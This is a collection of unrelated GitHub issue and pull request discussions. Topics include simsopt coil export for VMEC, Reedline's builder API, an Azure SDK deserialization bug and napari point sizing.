from simsopt.configs import get_ncsx_data

nfp = 3
stellsym = True
curves, currents, ma = get_ncsx_data()

coils_to_focus('test.focus', curves, currents, nfp=3, stellsym=True)
coils_to_makegrid('coils.test', curves, currents, nfp=3, stellsym=True)

Some comments:

FOCUS can read both formats. Use case_init=0 to read test.focus and case_init = -1  to read coils.test.
The current group in MAKEGIRD format can be improved if coils_via_symmetries not flip current but flip x,y,z order.
Ifree and Lfree in curves_to_focus can to use to flag whether the coil current or geometry is free.

Also I would think it makes sense to move simsopt.geo.curves_to_focus() to simsopt.field.coils_to_focus(), since this routine involves currents and not just curves. What do you think?

@landreman Thanks for the suggestion. I will move the function and add some unit test functions. I guess I will add to tests/field/test_coil.py?

Thank you for adding this Caoxiang. Looking at ˋcoils_to_focusˋ it seems that that function implicitly assumes that you are dealing with a ˋCurveXYZFourierˋ. If that’s the case, can you please add a type check?

@florianwechsung Thanks for the remind. @mbkumar also mentioned the CurveRZFourier class. Should I added an if statement to support other classes?

@zhucaoxiang Does FOCUS support the discretisation that we use in SurfaceRZFourier? I thought FOCUS only did Fourier expansion in XYZ? If FOCUS doesn't support it, I would just assert isinstance(curve, CurveXYZFourier) and let the user take care of converting between curve types. The reason being that I think the conversion is not lossless, so it should be up to the user to do it and decide how much accuracy is required.

@florianwechsung You are right. FOCUS or MAKEGRID use cartesian coordinates. So if users want to use these functions, they can convert to CurveXYZFourier first.

The tutorial for free-boundary VMEC can be found at https://princetonuniversity.github.io/STELLOPT/VMEC Free Boundary Run. I just fixed the format. @rogeriojorge

Now, nfp is written into the file. I was wrong to fix nfp=1. The value will determine the phi range in the MGRID file. @rogeriojorge

Thank you @zhucaoxiang
Could an example on how to output the coils from a biot_savart.json SIMSOPT file look like this?
If it's ok, can I ask you to run it for the NCSX coils and benchmark it with the NCSX free boundary run that is on that tutorial? I still can't get VMEC to converge using this script. Perhaps I should change PHIEDGE?
`#!/usr/bin/env python3
import os
import numpy as np
from simsopt import load
from subprocess import run
from simsopt.mhd import Vmec
from simsopt.field.coil import coils_to_makegrid
biot_savart_file = "biot_savart.json"
mgrid_file = 'mgrid_opt_coils.nc'
coils_file = 'coils.opt_coils'
xgrid_input = 'input_xgrid.dat'
vmec_file = 'wout.nc'
xgrid_log = 'log_xgrid.opt_coils'
mgrid_executable = '~/bin/xgrid'
vmec_executable = '~/bin/xvmec2000'
vmec_final = Vmec(vmec_file)
nfp = vmec_final.indata.nfp
surface = vmec_final.boundary
bs = load(biot_savart_file)
ncoils = len(bs.coils)
r0 = np.sqrt(surface.gamma()[:, :, 0] ** 2 + surface.gamma()[:, :, 1] ** 2)
z0 = surface.gamma()[:, :, 2]
nzeta = 41
nr = 43
nz = 45
rmin=0.9np.min(r0)
rmax=1.1np.max(r0)
zmin=1.1np.min(z0)
zmax=1.1np.max(z0)
curves = [c.curve for c in bs.coils]
currents = [c.current for c in bs.coils]
coils_to_makegrid(coils_file, curves, currents, nfp=nfp, stellsym=True)
r0 = np.sqrt(surface.gamma()[:, :, 0] ** 2 + surface.gamma()[:, :, 1] ** 2)
z0 = surface.gamma()[:, :, 2]
with open(xgrid_input, 'w') as f:
f.write('opt_coils\n')
f.write('S\n')
f.write('y\n')
f.write(f'{rmin}\n')
f.write(f'{rmax}\n')
f.write(f'{zmin}\n')
f.write(f'{zmax}\n')
f.write(f'{nzeta}\n')
f.write(f'{nr}\n')
f.write(f'{nz}\n')
run_string = f"{mgrid_executable} < {xgrid_input} > {xgrid_log}"
run(run_string, shell=True, check=True)
vmec_final.indata.lfreeb = True
vmec_final.indata.mgrid_file = mgrid_file
vmec_final.indata.extcur[0:ncoils] = [c.current.get_value() for c in bs.coils]
vmec_final.indata.nvacskip = 6
vmec_final.indata.nzeta = nzeta
vmec_final.indata.phiedge = -np.abs(vmec_final.indata.phiedge)
vmec_final.indata.ns_array[:4]    = [   9,    29,    49,   101]
vmec_final.indata.niter_array[:4] = [4000,  6000,  6000,  8000]
vmec_final.indata.ftol_array[:4]  = [1e-5,  1e-6, 1e-12, 1e-15]
vmec_final.write_input(os.path.join(dir,'input.final_freeb'))
run_string = f"{vmec_executable} {os.path.join(dir,'input.final_freeb')}"
run(run_string, shell=True, check=True)`

@rogeriojorge I guess you need a new function to convert biot-savart.json to MAKEGRID. I have not used biot-savart.json. Can you send me an example file? (or show me where I can find the description & example file).
If it is smooth to convert biot-savart.json into CurveFourierXYZ, then we don't have to write a new one. As to your issue with NCSX, it is likely that the NCSX data used in SIMSOPT is not the same as in STELLOPT. SIMSOPT one is vacuum while STELLOPT one is finite-beta.

@rogeriojorge After reading the example, I don't think you need a new function. What you are doing above looks fine to me. The following line will save the coils into a MAKEGRID file.
curves = [c.curve for c in bs.coils]
currents = [c.current for c in bs.coils]

coils_to_makegrid(coils_file, curves, currents, nfp=nfp, stellsym=True)

I don't have the files you are using. Let me try to figure out the problem.

The box defined by [rmin, rmax, zmin, zmax] should be large enough to cover the plasma. I didn't get the lines you wrote.

nzeta = 41
nr = 43
nz = 45
rmin=0.9np.min(r0)
rmax=1.1np.max(r0)
zmin=1.1np.min(z0)
zmax=1.1np.max(z0)

You should use the same phiedge for both fixed- and free-boundary VMEC.

The box defined by [rmin, rmax, zmin, zmax] should be large enough to cover the plasma. I didn't get the lines you wrote.
rmin=0.9np.min(r0)
rmax=1.1np.max(r0)
zmin=1.1np.min(z0)
zmax=1.1np.max(z0)
I calculate the maximum and minimum R/Z of the plasma volume and use it (+10% tolerance) as the box size
You should use the same phiedge for both fixed- and free-boundary VMEC.
I agree.

Anything else I need to do with this PR? If someone thinks that we need a comprehensive example, I can try to work on it. But I need some help finding a coil set in the SIMSOPT format paired with a fixed-boundary VMEC equilibrium.

I think the PR is ready to merge now. If anyone has issues or enhancements to the functions, they can be addressed later.

Great, Matt, @landreman thank you!


Code Snippet chrome extension

Develop a Javascript code snippet chrome extension .
Description 📜
This will help developers to save snippets of codes and resources so that their work becomes more efficient  .
Requirements 🛠

code snippets app should have a good and simple UI
A title (which will be parsed by the user to search )
A text area to store code snippet
options to attatch images , .cpp ,.java files which have codes on them

Bonuses ✨

options to attatch images , .cpp , .java files
Storing the data with the help of the cookies on the brwoser.

Any number of people can work on a single issue 👨💻👨💻
This issue is open to all.🌍

Project location 👉🏻 {CodeSnippets}/vidhishiste/
👨🏻💻 Happy Coding 👩🏻💻

Hello! I'm a beginner who has never contributed before, but I would like to try making one. Is the attached image okay?
Also, I didn't quite understand the last required item(options to attatch images , .cpp ,.java files which have codes on them).
The UI design is temporary and we plan to create a more refined version.

When I tried to fork and clone, the file name seemed to include : and failed. Is it not possible in windows?


Update to support scala 2.12.2

The 0.5.x branch doesn't compile on 2.12.2 due to warnings being triggered, mostly unused imports
This PR fixes that but I removed tut from travis as it seems is not available for 2.12

I have a branch for this already, I'll see if i can get tut upgraded.

closed via #58


Formatting dates

Formatting of dates needs improvement. For example
Excel
1.1.2018 0:00
1.1.2018 1:00
CSV
1.1.2018
1.1.2018 1.00.00

Are you just using the default @ formatting code?

Yes. How would you suggest to change it?

One example of a date/time format is: mm/dd/yyyy hh:mmAM/PM.
If you don't want leading zeros on the month, day or hour, use m or d or h instead of mm/dd/hh.
If you only want a two-digit year, use yy.
If you'd prefer a 24-hour time instead of an AM/PM time, remove the AM/PM.


create a setting to not show completion list until N characters?

how about create a setting to not show completion list until N characters? like 5.

I will do it after the Spring Festival.

Please try v0.6.0


Cleanup project

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 90.46%. Comparing base (ec5d62b) to head (7ad2e08).
Report is 21 commits behind head on devel.

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@            Coverage Diff             @@
##            devel    #1461      +/-   ##
==========================================
+ Coverage   90.42%   90.46%   +0.04%
==========================================
  Files          49       49
  Lines        6037     6074      +37
==========================================
+ Hits         5459     5495      +36
- Misses        578      579       +1

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Update Aer and IBMQ Provider dependencies and bump up Qiskit metapackage version to: 0.11.0

Summary

Update qiskit-aer version to 0.2.2
Update qiskit-ibmq-provider to 0.3.0
Bump up qiskit package to 0.11.0

Details and comments

@atilag, @quantumjim found a significant bug in Aer 0.2.2. It should be fixed in this PR.
Can we merge that in and bump Aer to 0.2.3 before updating the metapackage?

The qiskit-ibmq-provider  has a bug where updating to the new API causes a loss of job history: https://github.com/Qiskit/qiskit-ibmq-provider/issues/248.
I would wait until that is fixed to bump the version (unless the new API is not included).

The qiskit-ibmq-provider has a bug where updating to the new API causes a loss of job history

For context, it actually seems to be the effect of a change introduced inadvertently in the API in the latest deploy, which the team is working upon and seems an easy fix on their end. Updating to the new API will not cause a loss of job history, nor changes seem to be needed in the provider itself, so hopefully we can proceed while keeping an eye on the API.

I would like to verify the jobs are returned before this goes out. Also a few items to do before this can be released.

I believe that this is just waiting on the provider to internally grab all the jobs requested by the limit kwarg and then it is ready.


add code-owners for DB

Is your feature request related to a problem? Please describe.
Dangerous migrations are not flagged during code review. Its easy for devs to unknowingly push bad migrations to customer systems (example: https://github.com/restarone/violet_rails/pull/1241#issuecomment-1382048421)
Describe the solution you'd like
When DB changes are proposed (eg: changes to schema.rb and/or db/migrate) notify @donrestarone for review and leave a comment pointing out the files that need to be reviewed

as a good measure we should add  gem https://github.com/ankane/strong_migrations


List of supported hardware

It would be great if list of supported hardware would be established.
I’m trying to determine if Altherma 3 H MT (ETBH12) is supported but didn’t find any information on how i could determine compatibility.

Well - you can look for X10A port on your unit. If you have it, it is very likely it is supported. Cost of ESP is very low - you can get one and find out easily.

I can help. I have an Altherma 3 H MT W (EPRA12EAW1 outdoor unit, ETBH12EF9W) and it works with ESPAlterma.

A list would be great before having to open up the unit and look for a X10A port.


Relative paths

I tried executing a command that takes a file path, like
az group deployment validate --template-file template.json --parameters @parameters.json

But I kept getting
{
    "stderr": "ERROR: [Errno 2] No such file or directory: 'template.json'\r\n",
    "stdout": ""
}

I was somewhat surprised when I ran dir from the editor, that it returned the contents of ~\AppData\Local\Programs\Microsoft VS Code (this is Windows obv).
Do I always have to provide a full path to a file, or is there a way to make a relative path work?
Then, as a workaround, I ran the above command in the terminal (which is Powershell) after ensuring it was in the right directory, and got a different error related to the @ sign required by the --parameters option:
The splatting operator '@' cannot be used to reference variables in an expression. '@parameters' can be used only as an argument to a command. To reference variables in an expression use '$parameters'.

I was able to get around this by quoting the value, so I guess YMMV from one shell to another.  Which is a little disappointing from a cross-platform perspective but not really your problem.
So to sum up, in order to run an az command that takes a file, it seems like currently I either have to provide a full path, or:

open the terminal and ensure I'm in the correct directory
if Powershell, make sure any values starting with @ are quoted
run line in terminal

We should pass the .azcli file's folder as working directory: https://github.com/microsoft/vscode-azurecli/blob/0ac34e2214078270b63cf6716423d40a60423834/src/extension.ts#L200


Refine language significantly around statement template rules

Right now isn't very clear, though I think the included capabilities are mostly right. Examples will be good.

I duplicated this here: https://github.com/DataInteroperability/xapi-profiles/issues/35. I'll close that and copy the text.

Which statement template applies is determined by the verb, object activity type, and attachment usage types in the statement. If the verb, object activity type, and all attachment usage type(s) are present and the profile is used as a category context activity, the rules in the Statement Template MUST be followed.

This block, while I like the approach, is confusing to read and seems to be putting the cart before the horse. We should re-word it to make clearer that LRPs generating statements following a profile should follow the templates to determine the identifiers (and other properties) to use, and LRCs reading statements should look specifically to the verb activity type, any attachment usage type(s) and the profile (version) id to determine which template is being followed and validate/process the rest of the statement accordingly.
We should also state that a profile version MUST NOT have two statement templates that use the same verb, activity type and attachment usage type(s) combination as these essentially act as a composite id for the template in a more real way than the actual id property. Alternatively, we could require the statement template id to be included in statements and expect LRCs to use that to determine which template is being followed.

I agree with everything @garemoko says, but I do also want to be clearer that IF ALL of verb, object activity type, and attachment usage type are used, AND the category context activity is populated with the value of the profile, THEN the rules in the Statement Template MUST be followed.

@andyjohnson the language If the verb, object activity type, and all attachment usage type(s) are present and the profile is used as a category context activity, the rules in the Statement Template MUST be followed. has been in the spec since the first version (though it needs updating now to include the additional matching rules).

Regarding the issue as raised, I think addressing the LRPs makes sense, I'll make an attempt at it.


Issue of overlaping between the navbar and text form in become a volunteer section is resolved

the overlaping issue between the navbar and text form in become a volunteer section is removed

@akshitagupta15june
please check

@akshitagupta15june same as pr #699


Django 1.10

well, you need to update the middleware.py
import this
from django.utils.deprecation import MiddlewareMixin
and add here:
class UserLoggingMiddleware(MiddlewareMixin): line 24-25

Hi, I had this problem with Django 1.11 and created a PR ( #47 ) to solve this. Hope it get's merged and deployed soon.


Add deploy clean target and rename es/cass to deploy-

Signed-off-by: Pavol Loffay<EMAIL_ADDRESS>

This change is

I have reverted back grep part

. If we see people being confused about what the es/cassandra/ingress targets do, we can then consider adding a deploy- prefix. Otherwise, let's keep the simpler version.

I was the first one confused by these targets. I thought you compile Cassandra here!@ :fearful:

updated to your preference


Provide Distinct Builder for Reedline

In engine.rs there are a few methods whose docstrings start with the words "a builder to". The Builder pattern is
almost certainly a great fit for initializing a Reedline, but it is improperly implemented here.
I've checked online and all sources (including this one) noted or implied that a Builder is a separate type specially for complex initializations.
I see three problems with the current structure:

I found checking for multiple fully distinct ways to reach an identical result to be a good rule
of thumb for whether something is well designed. I can think of at least two ways to branch the
hinting strategy on some condition. The first is two write a hinter that looks at some state and
then decides what to do from there. The second is to change the current hinter every time some
state changes. Just considering my ability to reason about to code, I don't think the latter is
ever a good idea.
When Reedline::create is called, it initializes with default values. This is great for quickly
starting, but it somewhat conflicts with the idea of customizing an instance through a Builder.
If nothing else, this might make some very unnecessary allocations for the defaults.
When building an instance initially, that instance is "under construction". This is conceptually
different from a finished instance, so it probably shouldn't be the same type. This theoretically
might even lead to issues when the instance is used before it is finalized.

Having a distinct Builder type makes sure instances of Reedline are finished for use and disallows
mutation during use.
This only marks the builder methods on Reedline as deprecated, so it doesn't break the API

I forgot to add documentation, which I think is important, so I won't mark this PR ready without it. I might add a (declarative) macro for the Builder as well, will see.

Hey! Thanks for this! @stormasm and I can try to look through it, maybe others.
We're generally against macros unless they're undeniably intuitive and necessary, with the nushell team being the judge, of course.
I'm excited to dig through and see what you've come up with as an easier and more intuitive API.

After skimming through the code quickly, this question comes to mind, if you wouldn't mind explaining a bit more. What makes these changes better or more intuitive for API consumers? They just look different to me but maybe I'm missing something.

@Cactus-man
I took a look at your PR --- and have a general sense of what you are trying to accomplish.
Thanks for putting in the effort !
Just an FYI for future PRs of this magnitude in Reedline...
It probably makes sense to discuss stuff like this ahead of time on our Discord Reedline Channel...
This way we can have some prior discussions and get a sense of where we are going with it...
Also --- the Reedline issues are also a good place to present the ideas...
With all of that said I will review the PR over the next number of days.
We have a release coming up next week so it will probably be after that..
As we would not make a decision on something like this prior to the release...

What makes these changes better or more intuitive for API consumers?

I think the largest improvement is naming consistency for related methods. Names should help choose which method to use for a purpose and disable_hints and a few more didn't really clearly express what they did. My intuition (and that of a peer I asked) was that it would temporarily disable the Hinter without clearing it. It also implies an enable_hints, which just doesn't exist. Implementing a consistent naming doesn't require this large change though. Note that I renamed create to new because together with the Default trait those are the de-facto standard for initialization. This allows users to work with their expectations and intuition.
In the current code, I implemented the MVP. There are probably more methods that could be beneficial on a builder. They are not strictly necessary to use it correctly though. Things like without_validation or without_custom_edit_mode are convenient but almost all of the time you can just put the corresponding line inside an if statement. Adding those methods would take the API surface for construction to roughly thrice it's current size. Reedline already has an extensive interface so I disliked cluttering it with 30 or more new functions. Components with exactly one underlying concept are much easier to understand and such methods might be convenient.
In their functionality, most of the builder methods are setters. They allow changing internal state after initialization. I am uncertain whether that's what you want but given that there is at least one explicit setter (set_history_session_id, which btw does functionally the same as with_history_session_id), I don't think you want them to be setters. This is, of course an assumption, so I could be wrong here. I'd be happy about some feedback on this. I can think of a few subtle behavioral bugs when e.g. an validator changes between cycles. And if branching behavior is undeniably necessary, a quick validator impl can do the same without the possibility of those subtleties.
And, as I pointed out before, construction and workable are fundamentally different states and a shared representation just feels wrong. There's an excellent video on a vaguely related topic. I don't think using an object before it's finalized can lead to UB like with C++ constructors, but it can cause behavioral bugs so the explicit state change (also represented in the type system) helps with clarity. It also helps with confidence: If the Builder is passed to a library function it can't call Reedline::read_line or anything like that, so no need to worry about that.

I made some notes on what I want to improve. When I look at them now there are things that probably would have been less structural changes (like the consistent naming that I quickly hinted at in my previous message). Maybe not the best idea to start with this.

We're generally against macros unless they're undeniably intuitive and necessary, with the nushell team being the judge, of course.

A lot of the builder code is repetitive and a macro might simplify the structure. So it's definitely not necessary, but greatly reduces the amount of (similiar) code that has to be maintained.

Thanks for the explanation. I appreciate the thoughtfulness.

The new commits introduce a macro for generalizing similarly structured methods. I put it together quickly and roughly, so this probably isn't the nicest it could be. Looking forward to feedback on it.
I haven't finished the documentation yet. I think writing good documentation is difficult, and even more so with the macro generalizing the code.

That's why I deprecated rather than removing the methods outright ;)
I still think that having a distinct builder and setters is an improvement because it allows for more granularity.
I haven't looked much at nushell, but I'll do that.
Oh, and could you give me some feedback on the macro?

(I think I did some general "tidying up" in some files alongside the actual code changes. I hope that's fine)

and split the builder-like API of Reedline into a seperate file.

The motivation for this is to

reduce the lines of code in engine.rs, which is a large file with a large amount of logic already. No need to clutter it with boilerplate
simplify future decisions for this API. Due to the way Rust handles impl blocks, the new location shouldn't change anything. I changed some signatures to increase consistency between the two APIs, which is a breaking change though.

During each REPL iteration we in effect "mutate" certain parts of the line editor to provide updated completers/menus/etc.
Completely rebuilding doesn't work as we keep some state in the Reedline instance that is relevant (e.g. when clearing the screen above with Ctrl-L the internal LineBuffer is untouched so you can continue typing)

This PR is most likely not the place to discuss this, but there's a fundamental discussion to be had about what a prompt is. I think the current implementation is semantically a bit weird, as it mashes two answers together.


cache rate-limited responses from DO

Responses can be stored/returned from the cache when the fixed window algorithm is used. Any rate-limited response can be safely stored in and returned from the cache, until the timestamp returned in the resets property.
On the other hand, the sliding window algorithm is not so cache-friendly, but I guess an approximation of cache time can possibly be computed here too using the distance of rate from limit and the interval.

Caching seems to work. Closing this for now.


Wrong type in ReservationsProperties

azure-mgmt-reservations:
Latest:
Linux:
3.8:

Describe the bug
At that line there is a type mismatch between date and datetime:
https://github.com/Azure/azure-sdk-for-python/blob/7d577fadf2187134cbb25070bb7e3504d6e60fb7/sdk/reservations/azure-mgmt-reservations/azure/mgmt/reservations/models/_models_py3.py#L3074
I seems that now the API returns datetime
To Reproduce
from azure.identity import AzureCliCredential
from azure.mgmt.reservations import AzureReservationAPI

credential = AzureCliCredential()

subscription_id = "my_subscription"
compute_client = ComputeManagementClient(credential, subscription_id)
reservation_client = AzureReservationAPI(credential)
reservations = [x for x in reservation_client.reservation.list_all()]  # that line raise an error

Expected behavior
That code should not raise a de-serialization error

Thanks for the feedback, we’ll investigate asap.

hello @BigCat20196
I use 2.0.0  and the trace is:
 File "/home/nbessi/.local/share/virtualenvs/az_script-1Kmoovd8/lib/python3.8/site-packages/azure/core/paging.py", line 129, in __next__
    return next(self._page_iterator)
  File "/home/nbessi/.local/share/virtualenvs/az_script-1Kmoovd8/lib/python3.8/site-packages/azure/core/paging.py", line 84, in __next__
    self.continuation_token, self._current_page = self._extract_data(self._response)
  File "/home/nbessi/.local/share/virtualenvs/az_script-1Kmoovd8/lib/python3.8/site-packages/azure/mgmt/reservations/operations/_reservation_operations.py", line 1186, in extract_data
    deserialized = self._deserialize("ReservationsListResult", pipeline_response)
  File "/home/nbessi/.local/share/virtualenvs/az_script-1Kmoovd8/lib/python3.8/site-packages/msrest/serialization.py", line 1368, in __call__
    return self._deserialize(target_obj, data)
  File "/home/nbessi/.local/share/virtualenvs/az_script-1Kmoovd8/lib/python3.8/site-packages/msrest/serialization.py", line 1442, in _deserialize
    value = self.deserialize_data(raw_value, attr_desc['type'])
  File "/home/nbessi/.local/share/virtualenvs/az_script-1Kmoovd8/lib/python3.8/site-packages/msrest/serialization.py", line 1618, in deserialize_data
    return self.deserialize_type[iter_type](data, data_type[1:-1])
  File "/home/nbessi/.local/share/virtualenvs/az_script-1Kmoovd8/lib/python3.8/site-packages/msrest/serialization.py", line 1649, in deserialize_iter
    return [self.deserialize_data(a, iter_type) for a in attr]
  File "/home/nbessi/.local/share/virtualenvs/az_script-1Kmoovd8/lib/python3.8/site-packages/msrest/serialization.py", line 1649, in <listcomp>
    return [self.deserialize_data(a, iter_type) for a in attr]
  File "/home/nbessi/.local/share/virtualenvs/az_script-1Kmoovd8/lib/python3.8/site-packages/msrest/serialization.py", line 1631, in deserialize_data
    return self._deserialize(obj_type, data)
  File "/home/nbessi/.local/share/virtualenvs/az_script-1Kmoovd8/lib/python3.8/site-packages/msrest/serialization.py", line 1442, in _deserialize
    value = self.deserialize_data(raw_value, attr_desc['type'])
  File "/home/nbessi/.local/share/virtualenvs/az_script-1Kmoovd8/lib/python3.8/site-packages/msrest/serialization.py", line 1631, in deserialize_data
    return self._deserialize(obj_type, data)
  File "/home/nbessi/.local/share/virtualenvs/az_script-1Kmoovd8/lib/python3.8/site-packages/msrest/serialization.py", line 1442, in _deserialize
    value = self.deserialize_data(raw_value, attr_desc['type'])
  File "/home/nbessi/.local/share/virtualenvs/az_script-1Kmoovd8/lib/python3.8/site-packages/msrest/serialization.py", line 1613, in deserialize_data
    data_val = self.deserialize_type[data_type](data)
  File "/home/nbessi/.local/share/virtualenvs/az_script-1Kmoovd8/lib/python3.8/site-packages/msrest/serialization.py", line 1890, in deserialize_date
    raise DeserializationError("Date must have only digits and -. Received: %s" % attr)
msrest.exceptions.DeserializationError: Date must have only digits and -. Received: 2021-10-12T09:13:11.7812328Z

```

Using list did not change the issue.

Here is the debug output. I removed sensible info:
https://management.azure.com/subscriptions/MY_ID/providers/microsoft.dbforpostgresql/flexibleservers?api-version=2021-06-01
2022-05-19 13:33:58,895 - azure.identity._internal.decorators - INFO - AzureCliCredential.get_token succeeded
2022-05-19 13:33:58,895 - azure.identity._internal.decorators - DEBUG - [Authenticated account] Client ID: AN_ID. Tenant ID:AN_ID. User Principal Name: MY_MAIL. Object ID (user): AN_ID
2022-05-19 13:33:58,896 - azure.core.pipeline.policies.http_logging_policy - INFO - Request URL: 'https://management.azure.com/subscriptions/MY_ID/providers/Microsoft.DBforPostgreSQL/flexibleServers?api-version=REDACTED'
Request method: 'GET'
Request headers:
    'Accept': 'application/json'
    'x-ms-client-request-id': '92c59fa8-d767-11ec-a17e-f7f3270f104a'
    'User-Agent': 'azsdk-python-mgmt-rdbms/10.1.0 Python/3.8.10 (Linux-5.13.0-41-generic-x86_64-with-glibc2.29)'
    'Authorization': 'REDACTED'
No body was attached to the request
2022-05-19 13:33:58,899 - urllib3.connectionpool - DEBUG - Starting new HTTPS connection (1): management.azure.com:443
2022-05-19 13:33:59,180 - urllib3.connectionpool - DEBUG - https://management.azure.com:443 "GET /subscriptions/MY_ID/providers/Microsoft.DBforPostgreSQL/flexibleServers?api-version=2021-06-01 HTTP/1.1" 200 None
2022-05-19 13:33:59,181 - azure.core.pipeline.policies.http_logging_policy - INFO - Response status: 200
Response headers:
    'Cache-Control': 'no-cache'
    'Pragma': 'no-cache'
    'Transfer-Encoding': 'chunked'
    'Content-Type': 'application/json; charset=utf-8'
    'Content-Encoding': 'REDACTED'
    'Expires': '-1'
    'Vary': 'REDACTED'
    'X-Content-Type-Options': 'REDACTED'
    'x-ms-request-id': 'd1ba2de2-fc30-4b5e-9094-80aec31a939a'
    'Server': 'Microsoft-HTTPAPI/2.0'
    'x-ms-ratelimit-remaining-subscription-reads': '11998'
    'x-ms-correlation-request-id': 'REDACTED'
    'x-ms-routing-request-id': 'REDACTED'
    'Strict-Transport-Security': 'REDACTED'
    'Date': 'Thu, 19 May 2022 11:33:58 GMT'
https://management.azure.com/providers/microsoft.capacity/reservations?api-version=2022-03-01
2022-05-19 13:33:59,581 - azure.identity._internal.decorators - INFO - AzureCliCredential.get_token succeeded
2022-05-19 13:33:59,581 - azure.identity._internal.decorators - DEBUG - [Authenticated account] Client ID: AN_ID. Tenant ID:AN_ID. User Principal Name: MY_MAIL. Object ID (user): AN_ID
2022-05-19 13:33:59,582 - azure.core.pipeline.policies.http_logging_policy - INFO - Request URL: 'https://management.azure.com/providers/Microsoft.Capacity/reservations?api-version=REDACTED'
Request method: 'GET'
Request headers:
    'Accept': 'application/json'
    'x-ms-client-request-id': '92c59fa9-d767-11ec-a17e-f7f3270f104a'
    'User-Agent': 'azsdk-python-mgmt-reservations/2.0.0 Python/3.8.10 (Linux-5.13.0-41-generic-x86_64-with-glibc2.29)'
    'Authorization': 'REDACTED'
No body was attached to the request
2022-05-19 13:33:59,584 - urllib3.connectionpool - DEBUG - Starting new HTTPS connection (1): management.azure.com:443
2022-05-19 13:34:00,095 - urllib3.connectionpool - DEBUG - https://management.azure.com:443 "GET /providers/Microsoft.Capacity/reservations?api-version=2022-03-01 HTTP/1.1" 200 4428
2022-05-19 13:34:00,097 - azure.core.pipeline.policies.http_logging_policy - INFO - Response status: 200
Response headers:
    'Cache-Control': 'no-cache'
    'Pragma': 'no-cache'
    'Content-Type': 'application/json; charset=utf-8'
    'Content-Encoding': 'REDACTED'
    'Expires': '-1'
    'Vary': 'REDACTED'
    'x-ms-request-id': 'c8a45926-f5d6-420b-8fde-6e49c0765e6e'
    'x-ms-correlation-request-id': 'REDACTED'
    'x-ms-routing-request-id': 'REDACTED'
    'Strict-Transport-Security': 'REDACTED'
    'X-Content-Type-Options': 'REDACTED'
    'Date': 'Thu, 19 May 2022 11:33:59 GMT'
    'Content-Length': '4428'
2022-05-19 13:34:00,099 - msrest.exceptions - DEBUG - Date must have only digits and -. Received: 2021-10-12T09:13:11.7812328Z

Hi @nbessi, thanks for your reply! After investigation, this is a issue of rest definition, and I have opened this issue in the right place.
fyi: https://github.com/Azure/azure-rest-api-specs/issues/19176

Closing as this is swagger issue, not SDK issue.


Moved abstract submission link to the top

The Abstract Link was buried at the end of the page

Currently updating this page, and can incorporate these changes.

@bkmgit you can merge when you're done editing the page?


added failed test for is

#103

@rultor merge

@rultor merge

@graur OK, I'll try to merge now. You can check the progress of the merge here


Use current scale to set new point layer size

Description
With vispy 0.12 (#5312) we introduced some changes to how point sizes are computed. Specifically, the scale is no longer used to determine the size.
The initial reason was #2213. For a long explanation (with all the caveats and complications), see vispy/vispy#2453 (specifically, this comment has a summary of the behaviour)
While the current state not ideal (and we're trying to figure out over at vispy if we can solve it), this at least solves nasty problems like #2213. However, it means that a size of 10 is still 10 even if the scale of the layer is 5 (and not 50).
This may "break" some code that relies on this transformation; in napari, one of the consequences is that the new points layer button on the viewer gui will now create tiny (or massive) points if the scale is different.
I realize this is not a solution but a workaround, but at least this should fix the current situation where points are sometimes basically invisible.
To test, try this:
import napari
import numpy as np

v = napari.Viewer()
v.add_image(np.random.rand(100, 100), scale=[10, 10])

then click the "new points" button and try to annotate some points manually. On main, they'll be so small that they're invisible.

Type of change

[x] Bug-fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] This change requires a documentation update

References

How has this been tested?

[ ] example: the test suite for my feature covers cases x, y, and z
[ ] example: all tests pass with my change
[ ] example: I check if my changes works with both PySide and PyQt backends
as there are small differences between the two Qt bindings.

Final checklist:

[ ] My PR is the minimum possible work for the desired functionality
[ ] I have commented my code, particularly in hard-to-understand areas
[ ] I have made corresponding changes to the documentation
[ ] I have added tests that prove my fix is effective or that my feature works
[ ] If I included new strings, I have used trans. to make them localizable.
For more information see our translations guide.

Maybe I'm missing something or perhaps it's a macOS thing (or arm64 thing), but the example from OP look fine to me? I mean the points are small, but on the same order as the pixels? If you set a face color to not white or black it's good?

I can make them bigger by increasing the size...
And with this PR it seems no different?

Maybe I shoudl have given a more extreme example. If you use a scale of (1000, 1000), they will be hardly visible (to the point I thought there was a visualisation bug until I realized the issue). Most importantly, the behaviour is different from pre-vispy012, where regardless of scale you'd always get relatively big points when you clicked that button.

With larger image, indeed on main the points are invisible. But I still see no difference in behavior when I switch to this PR branch 😢

It worked when setting things manually, but not once I put it in the layer initialization. Turns out, the way we initialize size in Points simply ignores the given size if it's not a scalar...

I'm surprised I never encountered issue here... But I'm not sure how to solve. We also expose size in the gui as a single value. To be honest, I'm not sure why we have anisotropic sizes in the first place, since they cause several issues and we're not even able to display them. AFAIK out_of_slice_display is the only place where anisotropic sizes are relevant... which is a bit weird in the first place :/

Should a similar change be also introduced in the context of add points in the constructor?
I think also about the scenario of saving and load points via csv.

Should a similar change be also introduced in the context of add points in the constructor?

This is tricky, and comes with all the issues that we had when discussing #4705.

Why cannot calculate the size of the layer property and calculate it based on layer extent.steep?

Why cannot calculate the size of the layer property and calculate it based on layer extent.steep?

Not sure I follow... the main issue is that we're missing a MISSING value that we can use to determine what to do when the layer gets added to the viewer.

As I understand, the problem is that Vispy ignores the scale parameter of point.
So why do not apply scale before passing points to vispy?

I think we're losing track of the issue here :P
The problem was initially that anisotropic scales were causing issues because they make no sense for non-deformable objects like markers. This was apparent in your issue in #2213. So I disabled that in vispy by having the scale no longer affect the size of the point.
Now, this revealed an extra problem, which is that not just scale, but also size can be anisotropic, which has exactly the same problem.
I'm wondering if it makes sense to keep that as it it, since we can't even render anisotropic markers, so the only effect that anisotropic size has is to affect out of slice display.

For me using min(scale[-2:]) could be a good heuristic to calculate the scale for the size of points.

For me using min(scale[-2:]) could be a good heuristic to calculate the scale for the size of points.

Why not max or mean though? Any of these is pretty arbitrary, and might be surprising to the user.

Notes from chatting with @Czaki:

even having anisotropic size does not solve it cause to pass to vispy we need to multiply by scale

Maybe a good heuristic is to just use the last dimension. It solves the problem now, and anisotropic scales/sizes are the only ones affected (which anyways don't work on main).
